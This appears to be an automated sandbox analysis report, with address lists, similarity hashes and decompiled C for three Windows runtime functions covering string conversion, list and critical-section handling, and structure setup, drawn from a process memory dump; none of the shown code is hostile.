0x6d2f8238
0x6d2f823c
0x6d2f823e
0x6d2f8258
0x6d2f825a
0x6d2f825b
0x6d2f8262
0x6d2f8262
0x6d2f8264
0x6d2f8267
0x6d2f8267
0x6d2f826a
0x6d2f826d
0x00000000
0x00000000
0x6d2f8273
0x6d2f8278
0x6d2f827a
0x6d2f827d
0x6d2f827f
0x6d2f82ba
0x6d2f82ba
0x6d2f82c9
0x6d2f82cb
0x6d2f82ce
0x6d2f82d1
0x6d2f82d3
0x6d2f82d6
0x6d2f82d8
0x6d2f83ff
0x6d2f8402
0x6d2f8404
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2f82de
0x6d2f82de
0x6d2f82e0
0x6d2f82e5
0x6d2f82e8
0x6d2f82ea
0x6d2f82ed
0x6d2f82f0
0x6d2f82f2
0x6d2f82f4
0x6d2f82f5
0x6d2f82f7
0x6d2f82f7
0x6d2f82fa
0x6d2f8300
0x6d2f8303
0x6d2f8307
0x6d2f8309
0x6d2f830a
0x6d2f830a
0x6d2f830c
0x6d2f830c
0x6d2f830f
0x6d2f8312
0x6d2f8314
0x6d2f831e
0x6d2f8320
0x6d2f8327
0x6d2f8322
0x6d2f8324
0x6d2f8324
0x6d2f8316
0x6d2f8318
0x6d2f8318
0x6d2f8329
0x6d2f832b
0x00000000
0x00000000
0x6d2f832d
0x6d2f8330
0x00000000
0x00000000
0x6d2f8338
0x6d2f833b
0x6d2f8340
0x6d2f8341
0x6d2f8343
0x6d2f8348
0x6d2f834a
0x6d2f834d
0x6d2f8350
0x6d2f8351
0x6d2f8353
0x6d2f8360
0x6d2f8360
0x6d2f8363
0x6d2f8355
0x6d2f8358
0x6d2f835b
0x6d2f835b
0x6d2f836c
0x6d2f836f
0x6d2f8372
0x6d2f8375
0x6d2f8378
0x6d2f8378
0x6d2f837d
0x6d2f8380
0x00000000
0x00000000
0x6d2f8388
0x6d2f8389
0x6d2f838b
0x6d2f838e
0x6d2f8390
0x6d2f8390
0x6d2f8393
0x6d2f839e
0x6d2f83a1
0x6d2f83a4
0x6d2f83a7
0x6d2f83ad
0x6d2f83b8
0x6d2f83bd
0x6d2f83c0
0x6d2f83c2
0x6d2f83c3
0x6d2f83c6
0x6d2f83cd
0x6d2f83d0
0x6d2f83d3
0x6d2f83d5
0x6d2f83d6
0x6d2f83d6
0x6d2f83d6
0x6d2f83d9
0x6d2f83d9
0x6d2f83d3
0x6d2f83de
0x6d2f83ee
0x6d2f83f1
0x6d2f83f4
0x6d2f83f4
0x6d2f83fc
0x00000000
0x6d2f83fc
0x6d2f8281
0x6d2f8284
0x6d2f828b
0x6d2f828d
0x6d2f828f
0x6d2f8291
0x6d2f8294
0x6d2f8296
0x6d2f8296
0x6d2f8294
0x6d2f829b
0x6d2f82ab
0x6d2f82ad
0x6d2f82ad
0x6d2f82b1
0x6d2f82b4
0x6d2f82b7
0x00000000
0x6d2f82b7
0x6d2f840c
0x6d2f840f
0x6d2f840f
0x6d2f8412
0x6d2f8414
0x6d2f8422
0x6d2f8422
0x6d2f8425
0x6d2f844c
0x6d2f844c
0x6d2f844f
0x6d2f8452
0x6d2f8455
0x6d2f8457
0x6d2f845a
0x6d2f845c
0x6d2f845e
0x00000000
0x00000000
0x00000000
0x6d2f845e
0x6d2f8427
0x6d2f842a
0x00000000
0x00000000
0x6d2f842f
0x6d2f8432
0x6d2f8435
0x6d2f8438
0x6d2f843a
0x6d2f843e
0x6d2f843f
0x6d2f8442
0x6d2f8444
0x6d2f8446
0x6d2f8449
0x6d2f8449
0x6d2f8442
0x00000000
0x6d2f843a
0x6d2f841d
0x6d2f8420
0x6d2f8491
0x6d2f8491
0x00000000
0x6d2f8491
0x00000000
0x6d2f8420
0x6d2f8240
0x6d2f8243
0x00000000
0x00000000
0x6d2f824b
0x6d2f824c
0x6d2f824f
0x6d2f824f
0x6d2f8252
0x6d2f8255
0x00000000
0x6d2f8255
0x6d2f8211
0x6d2f8215
0x6d2f821a
0x6d2f821c
0x6d2f821c
0x6d2f8225
0x6d2f822a
0x6d2f822d
0x6d2f822f
0x00000000
0x6d2f8235
0x6d2f8235
0x00000000
0x6d2f8235
0x6d2f822f
0x6d2f81df
0x6d2f81e2
0x6d2f81e5
0x6d2f81e7
0x6d2f81e9
0x6d2f81f9
0x6d2f81f9
0x6d2f81fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2f81eb
0x6d2f81eb
0x6d2f81ef
0x6d2f81f2
0x6d2f81f5
0x6d2f81f5
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2f8138
0x6d2f8138
0x6d2f8138
0x6d2f8140
0x6d2f8143
0x6d2f81b9
0x6d2f81bc
0x6d2f81be
0x6d2f81be
0x6d2f81be
0x00000000
0x6d2f81bc
0x6d2f8145
0x6d2f8148
0x6d2f814a
0x6d2f8173
0x6d2f8173
0x6d2f8176
0x00000000
0x00000000
0x6d2f817c
0x6d2f817f
0x00000000
0x00000000
0x6d2f8185
0x6d2f8187
0x6d2f819a
0x6d2f819a
0x6d2f819c
0x6d2f819c
0x6d2f819f
0x6d2f81a2
0x6d2f81a3
0x6d2f81a6
0x6d2f81a9
0x00000000
0x6d2f81a9
0x6d2f818c
0x6d2f8190
0x00000000
0x6d2f8192
0x6d2f8195
0x00000000
0x6d2f8195
0x6d2f8190
0x6d2f814c
0x6d2f814f
0x6d2f8161
0x6d2f8161
0x6d2f8164
0x00000000
0x00000000
0x6d2f816a
0x6d2f816d
0x00000000
0x00000000
0x00000000
0x6d2f816d
0x6d2f8151
0x6d2f8156
0x6d2f8158
0x00000000
0x6d2f815e
0x6d2f815e
0x00000000
0x6d2f815e
0x6d2f81c1
0x6d2f81c1
0x6d2f81c4
0x6d2f81c4
0x6d2f81cc
0x00000000
0x6d2f81cc
0x6d2f80d5
0x6d2f80d9
0x6d2f80f6
0x6d2f80f6
0x00000000
0x6d2f80f6
0x6d2f80dd
0x6d2f80de
0x6d2f80e1
0x00000000
0x00000000
0x6d2f80e7
0x6d2f80ea
0x00000000
0x00000000
0x6d2f80ec
0x6d2f80f0
0x00000000
0x00000000
0x00000000
0x6d2f80f0
0x6d2f84a5
0x6d2f84a9
0x6d2f84af
0x6d2f84b2
0x00000000
0x6d2f84b2
0x6d2f84ab
0x6d2f84ad
0x6d2f846e
0x6d2f846e
0x6d2f8484
0x6d2f8486
0x00000000
0x00000000
0x6d2f8488
0x6d2f848a
0x6d2f848b
0x6d2f848f
0x6d2f84c2
0x6d2f84c4
0x00000000
0x6d2f84c4
0x00000000
0x6d2f848f
0x00000000
0x6d2f84ad
0x6d2f8096
0x6d2f8096
0x6d2f8099
0x00000000
0x6d2f8099

Strings

xn--, xrefs: 6D2F80F6, 6D2F810E, 6D2F821C, 6D2F8223
xl--, xrefs: 6D2F80FD, 6D2F8215

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: 1106bcf90edca644e6bfc2d863aa0556c4cf69a908cb3d8c63f8db9d3cdb6072
Instruction ID: 8f54f5f8773b8e4dd5f7f65100f640ffe2fe59f8e691b0f1b58b759b0d49c17e
Opcode Fuzzy Hash: 1106bcf90edca644e6bfc2d863aa0556c4cf69a908cb3d8c63f8db9d3cdb6072
Instruction Fuzzy Hash: E5E1C2B1EC421E8FDF15CFA9C8906ADF7B5FF88310F20892AD955A7240D77499838B51

Uniqueness

Uniqueness Score: -1.00%

Function 6D261F30, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D261F30(signed short* _a4, struct _EXCEPTION_RECORD _a8, char _a12) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				unsigned int _v32;
				intOrPtr _v36;
				signed short _v40;
				signed char* _v44;
				signed int _v48;
				signed int _v52;
				signed short _v56;
				signed int _v60;
				unsigned int _v64;
				signed short _v68;
				intOrPtr _v72;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t65;
				long _t68;
				intOrPtr _t69;
				signed short _t70;
				signed int _t76;
				intOrPtr _t77;
				signed int _t83;
				signed int _t88;
				intOrPtr _t89;
				signed short _t92;
				signed short _t96;
				void* _t103;
				unsigned int _t104;
				unsigned int _t106;
				struct _EXCEPTION_RECORD _t108;
				signed char* _t110;
				signed char* _t112;
				signed short* _t115;
				signed short _t116;
				signed int _t119;

				_push(0xfffffffe);
				_push(0x6d31fc68);
				_push(0x6d2917f0);
				_push( *[fs:0x0]);
				_t65 =  *0x6d33d360;
				_v12 = _v12 ^ _t65;
				_push(_t65 ^ _t119);
				_t3 =  &_v20; // 0x6d2c3d77
				 *[fs:0x0] = _t3;
				_t108 = _a8;
				if( *0x6d336d59 != 0) {
					_t68 = RtlxOemStringToUnicodeSize(_t108);
				} else {
					_t68 = 2 + ( *_t108 & 0x0000ffff) * 2;
				}
				if(_t68 > 0xfffe) {
					_t69 = 0xc00000f0;
					goto L14;
				} else {
					_t92 = _t68 - 2;
					_t115 = _a4;
					 *_t115 = _t92;
					if(_a12 != 0) {
						_t115[1] = _t68;
						_t70 = E6D263A1C(_t68);
						_t115[2] = _t70;
						if(_t70 != 0) {
							L6:
							_v36 = 0;
							_v8 = 0;
							_v72 = 1;
							_t88 =  *_t108 & 0x0000ffff;
							_v52 = _t88;
							_t110 =  *(_t108 + 4);
							_v44 = _t110;
							_t104 =  *_t115 & 0x0000ffff;
							_t116 = _t115[2];
							_v40 = _t116;
							if( *0x6d33690c != 0) {
								if(_t88 != 0) {
									E6D278840(_t116, _t104,  &_v32, _t110, _t88);
								} else {
									_v32 = _t88;
								}
								L13:
								_v36 = 0;
								 *((short*)(_a4[2] + (_v32 >> 1) * 2)) = 0;
								_v36 = 0;
								_v8 = 0xfffffffe;
								_v72 = 0;
								E6D262086(_a4[2], _a4, 0);
								_t69 = 0;
								L14:
								 *[fs:0x0] = _v20;
								return _t69;
							}
							_t106 = _t104 >> 1;
							_v64 = _t106;
							if( *0x6d336d59 != 0) {
								_v68 = _t116;
								while(_t106 != 0 && _t88 != 0) {
									_t106 = _t106 - 1;
									_v64 = _t106;
									_t88 = _t88 - 1;
									_v52 = _t88;
									_t76 =  *_t110 & 0x000000ff;
									_v48 =  *(0x6d336920 + _t76 * 2) & 0x0000ffff;
									_t96 = _t116 + 2;
									_v56 = _t96;
									if(_v48 == 0) {
										_t77 =  *((intOrPtr*)( *0x6d336d48 + _t76 * 2));
										_t110 =  &(_t110[1]);
										L31:
										 *_t116 = _t77;
										_t116 = _v56;
										_v44 = _t110;
										_v40 = _t116;
										continue;
									}
									if(_t88 != 0) {
										_t112 =  &(_t110[1]);
										_v44 = _t112;
										_t77 =  *((intOrPtr*)( *0x6d336b34 + (( *_t112 & 0x000000ff) + (_v48 & 0x0000ffff)) * 2));
										_t110 =  &(_t112[1]);
										_t88 = _t88 - 1;
										_v52 = _t88;
										goto L31;
									}
									 *_t116 = 0;
									_t116 = _t96;
									_v40 = _t116;
									break;
								}
								_v32 = _t116 - _v68;
								goto L13;
							}
							if(_t106 >= _t88) {
								_t106 = _t88;
							}
							_v32 = _t106 + _t106;
							_t89 =  *0x6d336d48;
							_t83 = 0;
							while(1) {
								_v60 = _t83;
								if(_t83 >= _t106) {
									goto L13;
								}
								 *((short*)(_t116 + _t83 * 2)) =  *((intOrPtr*)(_t89 + (_t110[_t83] & 0x000000ff) * 2));
								_t83 = _t83 + 1;
							}
							goto L13;
						}
						_t69 = 0xc0000017;
						goto L14;
					}
					_t103 = (_t92 & 0x0000ffff) + 2;
					if(_t103 > (_t115[1] & 0x0000ffff) || _t103 < 2) {
						_t69 = 0x80000005;
						goto L14;
					} else {
						goto L6;
					}
				}
			}

0x6d261f35
0x6d261f37
0x6d261f3c
0x6d261f47
0x6d261f4e
0x6d261f53
0x6d261f58
0x6d261f59
0x6d261f5c
0x6d261f62
0x6d261f6c
0x6d2acee2
0x6d261f72
0x6d261f75
0x6d261f75
0x6d261f81
0x6d2aceec
0x00000000
0x6d261f87
0x6d261f87
0x6d261f8a
0x6d261f8d
0x6d261f94
0x6d26206a
0x6d26206f
0x6d262074
0x6d262079
0x6d261fb5
0x6d261fb5
0x6d261fbc
0x6d261fc3
0x6d261fca
0x6d261fcd
0x6d261fd0
0x6d261fd3
0x6d261fd6
0x6d261fd9
0x6d261fdc
0x6d261fe6
0x6d2acef8
0x6d2acf0a
0x6d2acefa
0x6d2acefa
0x6d2acefa
0x6d262028
0x6d262028
0x6d26203c
0x6d262042
0x6d262045
0x6d26204c
0x6d26204f
0x6d262054
0x6d262056
0x6d262059
0x6d262067
0x6d262067
0x6d261fec
0x6d261fee
0x6d261ff8
0x6d2acf14
0x6d2acf17
0x6d2acf1f
0x6d2acf20
0x6d2acf23
0x6d2acf24
0x6d2acf27
0x6d2acf32
0x6d2acf35
0x6d2acf38
0x6d2acf40
0x6d2acf82
0x6d2acf86
0x6d2acf87
0x6d2acf87
0x6d2acf8a
0x6d2acf8d
0x6d2acf90
0x00000000
0x6d2acf90
0x6d2acf44
0x6d2acf63
0x6d2acf64
0x6d2acf71
0x6d2acf75
0x6d2acf76
0x6d2acf77
0x00000000
0x6d2acf77
0x6d2acf48
0x6d2acf4b
0x6d2acf4d
0x00000000
0x6d2acf4d
0x6d2acf56
0x00000000
0x6d2acf56
0x6d262000
0x6d262002
0x6d262002
0x6d262007
0x6d26200a
0x6d262010
0x6d262012
0x6d262012
0x6d262017
0x00000000
0x00000000
0x6d262021
0x6d262025
0x6d262025
0x00000000
0x6d262012
0x6d26207f
0x00000000
0x6d26207f
0x6d261f9d
0x6d261fa6
0x6d2acfbe
0x00000000
0x00000000
0x00000000
0x00000000
0x6d261fa6

APIs

RtlxOemStringToUnicodeSize.1105(?,?,00000000,?,00000001,?,?,?,?,?,6D2917F0,6D31FC68,000000FE,?,6D2C3D77,?), ref: 6D2ACEE2

Strings

w=,m, xrefs: 6D261F59, 6D26206E

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: RtlxSizeStringUnicode
String ID: w=,m
API String ID: 2371059093-4046276529
Opcode ID: 4adde65dcc00df47ebedb5fa90d58c0472c568b13e37242d75ccaea6c9684fac
Instruction ID: 2aa62d5bf1760ef9fc604c4f38ebf95d256347c2720b69e8113fdba6629fd920
Opcode Fuzzy Hash: 4adde65dcc00df47ebedb5fa90d58c0472c568b13e37242d75ccaea6c9684fac
Instruction Fuzzy Hash: 79519DB8C5429E9FCB21CF59C580BAEBBF8FF59714F15812EE951A7250D7349880CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D26DD82, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6D26DD82(void* __ebx, void* __ecx, void* __edx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				signed int* _v36;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t67;
				signed int _t69;
				intOrPtr* _t71;
				signed short _t73;
				char _t77;
				intOrPtr _t79;
				void* _t80;
				intOrPtr* _t84;
				signed short _t90;
				intOrPtr _t95;
				signed short _t96;
				void* _t97;
				signed int _t100;
				signed short _t102;
				intOrPtr _t106;
				signed short* _t107;
				signed int _t110;
				intOrPtr _t111;
				void* _t114;
				void* _t121;
				intOrPtr* _t122;
				signed int* _t123;
				void* _t128;
				void* _t132;
				void* _t135;

				_t128 = _t132;
				_push(__ebx);
				_t121 = __edx;
				_t114 = __ecx;
				_t67 =  *(__edx + 0xd4);
				_t95 =  *((intOrPtr*)(__edx + 0xc8));
				_t69 = _t67 * 0x2710 >> 0x20;
				_t106 =  *((intOrPtr*)(__edx + 0xcc));
				_t90 = _t67 * 0x2710 + _t95;
				_v8 = _t90;
				asm("adc eax, edx");
				_v12 = _t69;
				_t135 = _t69 - _t106;
				if(_t135 <= 0 && (_t135 < 0 || _t90 < _t95)) {
					_v8 = _v8 | 0xffffffff;
					_v12 = 0x7fffffff;
				}
				_t96 = _t121 + 0xb0;
				 *((intOrPtr*)(_t96 + 0x10)) =  *((intOrPtr*)(_t121 + 0xc8));
				_t13 = _t96 + 8; // 0x8
				_t71 = _t13;
				 *((intOrPtr*)(_t96 + 0x14)) = _t106;
				 *((intOrPtr*)(_t71 + 4)) = _t71;
				 *_t71 = _t71;
				 *(_t96 + 4) = _t96;
				 *_t96 = _t96;
				_t107 =  *(_t114 + 8);
				if(_t107 != 0) {
					__eflags = _t107[0xa] -  *((intOrPtr*)(_t96 + 0x14));
					if(__eflags > 0) {
						L20:
						_t73 = _t96 + 8;
						_t90 =  *_t73;
						__eflags =  *(_t90 + 4) - _t73;
						if( *(_t90 + 4) != _t73) {
							goto L22;
						} else {
							 *_t107 = _t90;
							_t107[2] = _t73;
							 *(_t90 + 4) = _t107;
							 *_t73 = _t107;
							goto L4;
						}
					} else {
						if(__eflags < 0) {
							L11:
							_t107 =  &(_t107[4]);
							_t73 =  *_t107;
							__eflags =  *(_t73 + 4) - _t107;
							if( *(_t73 + 4) != _t107) {
								goto L22;
							} else {
								 *_t96 = _t73;
								 *(_t96 + 4) = _t107;
								 *(_t73 + 4) = _t96;
								 *_t107 = _t96;
								goto L5;
							}
						} else {
							__eflags = _t107[8] -  *((intOrPtr*)(_t96 + 0x10));
							if(_t107[8] >=  *((intOrPtr*)(_t96 + 0x10))) {
								goto L20;
							} else {
								goto L11;
							}
						}
					}
				} else {
					L4:
					 *(_t114 + 8) = _t96;
					L5:
					_t102 = _t121 + 0x98;
					 *(_t102 + 0x10) = _v8;
					 *(_t102 + 0x14) = _v12;
					_t84 = _t102 + 8;
					 *((intOrPtr*)(_t84 + 4)) = _t84;
					 *_t84 = _t84;
					 *(_t102 + 4) = _t102;
					 *_t102 = _t102;
					_t107 =  *(_t114 + 0xc);
					if(_t107 != 0) {
						__eflags = _t107[0xa] -  *(_t102 + 0x14);
						if(__eflags > 0) {
							L18:
							_t73 = _t102 + 8;
							_t90 =  *_t73;
							__eflags =  *(_t90 + 4) - _t73;
							if( *(_t90 + 4) != _t73) {
								goto L22;
							} else {
								 *_t107 = _t90;
								_t107[2] = _t73;
								 *(_t90 + 4) = _t107;
								 *_t73 = _t107;
								goto L6;
							}
						} else {
							if(__eflags < 0) {
								L16:
								_t107 =  &(_t107[4]);
								_t73 =  *_t107;
								__eflags =  *(_t73 + 4) - _t107;
								if( *(_t73 + 4) != _t107) {
									L22:
									_t97 = 3;
									asm("int 0x29");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									__eflags =  *0x6d337b88;
									if( *0x6d337b88 != 0) {
										return _t73;
									} else {
										_push(_t90);
										_push(_t121);
										_push(_t114);
										L6D25EEF0(0x6d337b60);
										_t122 =  *0x6d337b80;
										__eflags =  *((intOrPtr*)(_t122 + 4)) - 0x6d337b80;
										if( *((intOrPtr*)(_t122 + 4)) == 0x6d337b80) {
											_t79 =  *_t122;
											__eflags =  *((intOrPtr*)(_t79 + 4)) - _t122;
											if( *((intOrPtr*)(_t79 + 4)) == _t122) {
												 *0x6d337b80 = _t79;
												 *((intOrPtr*)(_t79 + 4)) = 0x6d337b80;
												__eflags = _t122 - 0x6d337b80;
												if(_t122 != 0x6d337b80) {
													 *0x6d337b78 =  *0x6d337b78 + 1;
													__eflags =  *0x6d337b78;
													E6D26E0F6();
												}
												_t80 = E6D25EB70(_t97, 0x6d337b60);
												__eflags = _t122 - 0x6d337b80;
												if(_t122 != 0x6d337b80) {
													__eflags = 0;
													_t80 = L6D26DF70(0x6d337b60, _t122 - 0x24, 0, 0x6d337b80, _t122, 0);
												}
												return _t80;
											}
										}
										_push(3);
										asm("int 0x29");
										_push(_t128);
										_push(_t122);
										_t123 = _v36;
										_t59 =  &(_t107[0x80f]); // 0x1007
										_push(0x6d337b80);
										_t60 =  &(_t107[0x14]); // 0x10
										_t100 = _t59 & 0xfffff000;
										 *_t123 = _t100;
										__eflags = _t100 - _t60;
										if(_t100 == _t60) {
											_t100 = _t100 + 0x1000;
											 *_t123 = _t100;
										}
										_t110 = _t107 + ( *_t107 & 0x0000ffff) * 0x00000008 + 0xfffffff0 & 0xfffff000;
										__eflags = _t110 - _t100;
										if(_t110 <= _t100) {
											_t77 = 0;
										} else {
											_t111 = _t110 - _t100;
											__eflags = _t111;
											 *_a4 = _t111;
											_t77 = 1;
										}
										return _t77;
									}
								} else {
									 *_t102 = _t73;
									 *(_t102 + 4) = _t107;
									 *(_t73 + 4) = _t102;
									 *_t107 = _t102;
									goto L7;
								}
							} else {
								__eflags = _t107[8] -  *(_t102 + 0x10);
								if(_t107[8] >=  *(_t102 + 0x10)) {
									goto L18;
								} else {
									goto L16;
								}
							}
						}
					} else {
						L6:
						 *(_t114 + 0xc) = _t102;
						L7:
						 *(_t121 + 0xde) =  *(_t121 + 0xde) | 0x00000001;
						 *((char*)(_t121 + 0xdc)) = 1;
						return _t73;
					}
				}
			}

0x6d26dd85
0x6d26dd8a
0x6d26dd8c
0x6d26dd94
0x6d26dd96
0x6d26dd9c
0x6d26dda6
0x6d26dda8
0x6d26ddae
0x6d26ddb0
0x6d26ddb3
0x6d26ddb5
0x6d26ddb8
0x6d26ddba
0x6d2b3b20
0x6d2b3b24
0x6d2b3b24
0x6d26ddd0
0x6d26ddd6
0x6d26ddd9
0x6d26ddd9
0x6d26dddc
0x6d26dddf
0x6d26dde2
0x6d26dde4
0x6d26dde7
0x6d26dde9
0x6d26ddee
0x6d26de34
0x6d26de37
0x6d26de97
0x6d26de97
0x6d26de9a
0x6d26de9c
0x6d26de9f
0x00000000
0x6d26dea1
0x6d26dea1
0x6d26dea3
0x6d26dea6
0x6d26dea9
0x00000000
0x6d26dea9
0x6d26de39
0x6d26de39
0x6d26de43
0x6d26de43
0x6d26de46
0x6d26de48
0x6d26de4b
0x00000000
0x6d26de4d
0x6d26de4d
0x6d26de4f
0x6d26de52
0x6d26de55
0x00000000
0x6d26de55
0x6d26de3b
0x6d26de3e
0x6d26de41
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26de41
0x6d26de39
0x6d26ddf0
0x6d26ddf0
0x6d26ddf0
0x6d26ddf3
0x6d26ddf6
0x6d26ddfc
0x6d26de02
0x6d26de05
0x6d26de08
0x6d26de0b
0x6d26de0d
0x6d26de10
0x6d26de12
0x6d26de17
0x6d26de5c
0x6d26de5f
0x6d26de81
0x6d26de81
0x6d26de84
0x6d26de86
0x6d26de89
0x00000000
0x6d26de8b
0x6d26de8b
0x6d26de8d
0x6d26de90
0x6d26de93
0x00000000
0x6d26de93
0x6d26de61
0x6d26de61
0x6d26de6b
0x6d26de6b
0x6d26de6e
0x6d26de70
0x6d26de73
0x6d26deb0
0x6d26deb2
0x6d26deb3
0x6d26deb5
0x6d26deb6
0x6d26deb7
0x6d26deb8
0x6d26deb9
0x6d26deba
0x6d26debb
0x6d26debc
0x6d26debd
0x6d26debe
0x6d26debf
0x6d26dec0
0x6d26dec7
0x6d26df1c
0x6d26dec9
0x6d26dec9
0x6d26deca
0x6d26decb
0x6d26ded2
0x6d26ded7
0x6d26dee2
0x6d26dee5
0x6d26dee7
0x6d26dee9
0x6d26deec
0x6d26deee
0x6d26def3
0x6d26def6
0x6d26def8
0x6d26defa
0x6d26defa
0x6d26df00
0x6d26df00
0x6d26df06
0x6d26df0b
0x6d26df0d
0x6d26df12
0x6d26df14
0x6d26df14
0x00000000
0x6d26df1b
0x6d26deec
0x6d26df1f
0x6d26df22
0x6d26df26
0x6d26df29
0x6d26df2a
0x6d26df2d
0x6d26df33
0x6d26df39
0x6d26df3c
0x6d26df3e
0x6d26df40
0x6d26df42
0x6d26df62
0x6d26df68
0x6d26df68
0x6d26df4d
0x6d26df51
0x6d26df53
0x6d26df6c
0x6d26df55
0x6d26df58
0x6d26df58
0x6d26df5a
0x6d26df5c
0x6d26df5c
0x6d26df5f
0x6d26df5f
0x6d26de75
0x6d26de75
0x6d26de77
0x6d26de7a
0x6d26de7d
0x00000000
0x6d26de7d
0x6d26de63
0x6d26de66
0x6d26de69
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26de69
0x6d26de61
0x6d26de19
0x6d26de19
0x6d26de19
0x6d26de1c
0x6d26de1c
0x6d26de24
0x6d26de30
0x6d26de30
0x6d26de17

APIs

RtlEnterCriticalSection.1105(6D337B60,?,?,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?), ref: 6D26DED2
RtlLeaveCriticalSection.1105(6D337B60,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?), ref: 6D26DF06

Strings

`{3m, xrefs: 6D26DECC

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: `{3m
API String ID: 3168844106-2242828155
Opcode ID: 590dd61989248a301632befef9afbe1ba2dd3fcf991ed77a9845de191bba9709
Instruction ID: ee2d99f6b21b619d109770b2e97543bb3c76cff076d169d99d1291856b18b6e6
Opcode Fuzzy Hash: 590dd61989248a301632befef9afbe1ba2dd3fcf991ed77a9845de191bba9709
Instruction Fuzzy Hash: 64513AB194534ADFC715CF29C580A55BBF5BF95315B25C5AED0288B312E731E882CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D26FD1F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D26FD1F(signed char __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				void* _t44;
				intOrPtr _t45;
				intOrPtr _t59;
				signed char _t65;
				void* _t66;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr* _t73;
				intOrPtr _t75;
				void* _t78;
				intOrPtr _t79;
				void* _t80;
				intOrPtr _t83;
				char _t84;
				intOrPtr* _t85;
				intOrPtr* _t86;
				void* _t87;

				_t87 = __edx;
				_t65 = __ecx;
				_t75 = _a8;
				if(_t75 == 0) {
					L11:
					_t44 = 0xc000000d;
				} else {
					_t68 = _a12;
					if(_t68 == 0) {
						goto L11;
					} else {
						if(__edx == 0) {
							L8:
							_t44 = 0;
						} else {
							_t45 = _a16;
							if(_t45 != 0) {
								 *((intOrPtr*)(__edx + 0x10)) = _t45 + _t68;
								 *((intOrPtr*)(__edx + 0x14)) = _a20;
							}
							_t48 = _a24;
							_t83 = _a4;
							 *((intOrPtr*)(_t87 + 0x18)) = _t68;
							 *((intOrPtr*)(_t87 + 0x1c)) = _a24;
							if((_t65 & 0x00000001) != 0) {
								E6D26F830(_t48, _t83);
								_t75 = _a8;
								 *((intOrPtr*)(_t87 + 0x20)) = _t83;
							}
							if((_t65 & 0x00000002) != 0) {
								 *(_t87 + 0x28) =  *(_t75 + 0x14) & 0x00000003;
							}
							if((_t65 & 0x00000004) != 0) {
								_t44 = E6D26F716(0, _t83, _t75,  &_v8);
								if(_t44 >= 0) {
									_t84 = _v8;
									if(_t84 == 0) {
										L29:
										_t44 = 0xc00000e5;
									} else {
										 *((intOrPtr*)(_t87 + 0x2c)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x18)) + _t84 + 0xc)) +  *(_t87 + 0x24) * 0x18 + _t84 + 0x10)) + _t84;
										_t44 = E6D2631F0(_t84, 0, 1,  &_v8,  &_v12);
										if(_t44 >= 0) {
											_t72 = _v8;
											_t59 = _v12;
											 *((intOrPtr*)(_t87 + 0x30)) = _t72;
											 *((intOrPtr*)(_t87 + 0x34)) = _t59;
											if(_t72 == 0 || _t59 == 0) {
												goto L8;
											} else {
												_t73 = _t72 + _t59;
												_t78 = _t73 + _t59;
												_t85 = _t73 + 4;
												if(_t85 > _t78) {
													goto L29;
												} else {
													_t66 = _t73 + 8;
													if(_t66 > _t78 ||  *_t73 != 0x64487353) {
														goto L29;
													} else {
														_t79 =  *_t85;
														if(_t79 > _t59 || _t59 < 0x2c || _t79 < 0x2c) {
															goto L29;
														} else {
															_t80 = _t79 + _t73;
															if(_t85 > _t80 || _t66 > _t80) {
																goto L29;
															} else {
																_t86 = _t73 + 0x28;
																if(_t86 > _t80 || _t73 + 0x2c > _t80) {
																	goto L29;
																} else {
																	 *((intOrPtr*)(_t87 + 0x38)) =  *((intOrPtr*)(_t73 + 0x24)) + _t73;
																	 *((intOrPtr*)(_t87 + 0x3c)) =  *_t86;
																	goto L8;
																}
															}
														}
													}
												}
											}
										}
									}
								}
							} else {
								goto L8;
							}
						}
					}
